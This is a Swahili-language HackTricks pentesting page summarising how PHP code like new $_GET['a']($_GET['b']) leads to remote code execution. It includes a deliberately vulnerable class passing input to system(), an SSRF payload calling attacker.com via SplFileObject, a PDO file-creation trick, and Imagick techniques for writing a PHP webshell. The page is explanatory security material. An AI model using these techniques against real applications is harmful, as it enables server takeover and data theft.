hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
2024-02-11 02:13:58 +00:00

6.8 KiB

PHP - RCE kwa kutumia uundaji wa vitu: new $_GET["a"]($_GET["b"])

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Hii ni muhtasari wa https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Utangulizi

Uundaji wa vitu vipya visivyojulikana, kama vile new $_GET["a"]($_GET["a"]), unaweza kusababisha Utekelezaji wa Kanuni kwa Mbali (RCE), kama ilivyoelezwa katika makala. Hati hii inaelezea mikakati mbalimbali ya kufanikisha RCE.

RCE kupitia Darasa za Kibinafsi au Kujisomea

Sintaksia new $a($b) hutumiwa kuunda kipengee ambapo $a inawakilisha jina la darasa na $b ni hoja ya kwanza iliyopitishwa kwa konstrukta. Hizi ni hoja ambazo zinaweza kupatikana kutoka kwa pembejeo za mtumiaji kama vile GET/POST, ambapo zinaweza kuwa herufi au mizunguko, au kutoka kwa JSON, ambapo zinaweza kuwa aina nyingine.

Fikiria kificho kilichopo hapo chini:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Katika kesi hii, kuweka $a kama App au App2 na $b kama amri ya mfumo (kwa mfano, uname -a) kunasababisha utekelezaji wa amri hiyo.

Kazi za kujisomea moja kwa moja zinaweza kudukuliwa ikiwa hakuna darasa kama hilo linalopatikana moja kwa moja. Kazi hizi hulipakia moja kwa moja darasa kutoka kwenye faili wakati inahitajika na zinatangazwa kwa kutumia spl_autoload_register au __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Tabia ya kujisomea inatofautiana na toleo la PHP, ikitoa fursa tofauti za RCE.

RCE kupitia Darasa Zilizojengwa

Kukosekana kwa darasa za desturi au autoloaders, darasa za PHP zilizojengwa zinaweza kuwa za kutosha kwa RCE. Idadi ya darasa hizi inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza zilizowekwa. Zinaweza kuorodheshwa kwa kutumia get_declared_classes().

Wakati wa kujenga darasa, inawezekana kutambua wajenzi wa kuvutia kupitia API ya uchunguzi, kama ilivyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.

RCE kupitia njia maalum ni pamoja na:

SSRF + Phar Deserialization

Darasa la SplFileObject linawezesha SSRF kupitia wajenzi wake, kuruhusu uunganisho kwa URL yoyote:

new SplFileObject('http://attacker.com/');

SSRF inaweza kusababisha mashambulizi ya deserialization katika toleo la PHP kabla ya 8.0 kwa kutumia itifaki ya Phar.

Kuathiri PDOs

Mjenzi wa darasa la PDO huruhusu uunganisho na database kupitia herufi za DSN, ambazo zinaweza kuwezesha uundaji wa faili au mwingiliano mwingine:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Toleo la PHP hadi 5.3.22 na 5.4.12 lilikuwa linaweza kushambuliwa na mashambulizi ya XXE kupitia wajenzi wa SoapClient na SimpleXMLElement, kulingana na toleo la libxml2.

RCE kupitia Ugani wa Imagick

Katika uchambuzi wa tegemezi za mradi, iligundulika kuwa Imagick inaweza kutumika kwa utekelezaji wa amri kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.

Mchambuzi wa VID

Uwezo wa mchambuzi wa VID wa kuandika maudhui kwenye njia yoyote iliyotajwa kwenye mfumo wa faili uligunduliwa. Hii inaweza kusababisha kuwekwa kwa kabati la PHP kwenye saraka inayopatikana kwenye wavuti, ikifanikisha Utekelezaji wa Amri kwa Mbali (RCE).

Mchambuzi wa VID + Kuleta Faili

Imeonekana kuwa PHP inahifadhi faili zilizopakiwa kwa muda katika /tmp/phpXXXXXX. Mchambuzi wa VID katika Imagick, kwa kutumia itifaki ya msl, inaweza kushughulikia alama za mwanya katika njia za faili, kurahisisha uhamishaji wa faili ya muda mfupi kwenye eneo lililochaguliwa. Njia hii inatoa njia nyingine ya kuandika faili isiyojulikana kwenye mfumo wa faili.

PHP Crash + Brute Force

Njia iliyoelezwa katika maandishi ya awali inahusisha kupakia faili ambazo husababisha kushindwa kwa seva kabla ya kufutwa. Kwa kujaribu jina la faili ya muda mfupi, inawezekana kwa Imagick kutekeleza nambari ya PHP isiyojulikana. Walakini, mbinu hii iligundulika kuwa na ufanisi tu katika toleo lililopitwa na wakati la ImageMagick.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: